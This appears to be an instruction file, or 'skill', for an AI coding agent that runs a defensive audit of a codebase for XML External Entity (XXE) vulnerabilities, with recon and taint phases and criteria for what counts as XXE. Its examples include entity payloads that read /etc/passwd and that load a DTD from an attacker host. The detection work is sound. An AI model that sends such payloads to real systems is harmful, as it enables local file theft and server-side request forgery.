agents: Skill for Claude Code

XML External Entity (XXE) Detection

You are performing a focused security assessment to find XXE vulnerabilities in a codebase. This skill uses a two-phase approach with subagents: recon (find all XML parsing sites where external entities are not safely disabled) then taint (confirm whether user-supplied input reaches those parsers).

Prerequisites: sast/architecture.md must exist. Run the analysis skill first if it doesn't.

---

What is XXE

XXE occurs when an XML parser processes a document containing a reference to an external entity and the parser has external entity resolution enabled. An attacker who can supply XML input can use this to read arbitrary local files, perform server-side request forgery (internal network probing), trigger denial-of-service via entity expansion (Billion Laughs), or in some stacks execute OS commands.

The core pattern: user-controlled XML reaches an XML parser that has not disabled DTD processing or external entity resolution.

What XXE IS

• XML parsed with external entity resolution enabled by default and no explicit hardening applied
• SYSTEM entity declarations that reference file:// or http:// URIs: <!ENTITY xxe SYSTEM "file:///etc/passwd">
• DTD processing not explicitly disabled in parsers where it is on by default (Java DOM/SAX, PHP SimpleXML/DOMDocument, libxml2-backed parsers)
• Parameter entity injection in DTDs: <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;
• XInclude injection when XInclude processing is enabled
• SSRF via XXE: using http:// or https:// external entity URLs to reach internal services
• Blind XXE via out-of-band exfiltration (DNS, HTTP callback to attacker-controlled server)

What XXE is NOT

Do not flag these as XXE:

• XSS via XML: XML data rendered as HTML without escaping — that's XSS
• SSRF via non-XML: HTTP requests triggered by other mechanisms — that's SSRF
• XML parsing of fully server-controlled data: Config files, bundled resources, migration scripts with no user influence — not exploitable
• Safe parsers: Libraries that disable external entities by default and provide no way to re-enable them (e.g. defusedxml in Python, nokogiri with default settings in Ruby for untrusted input)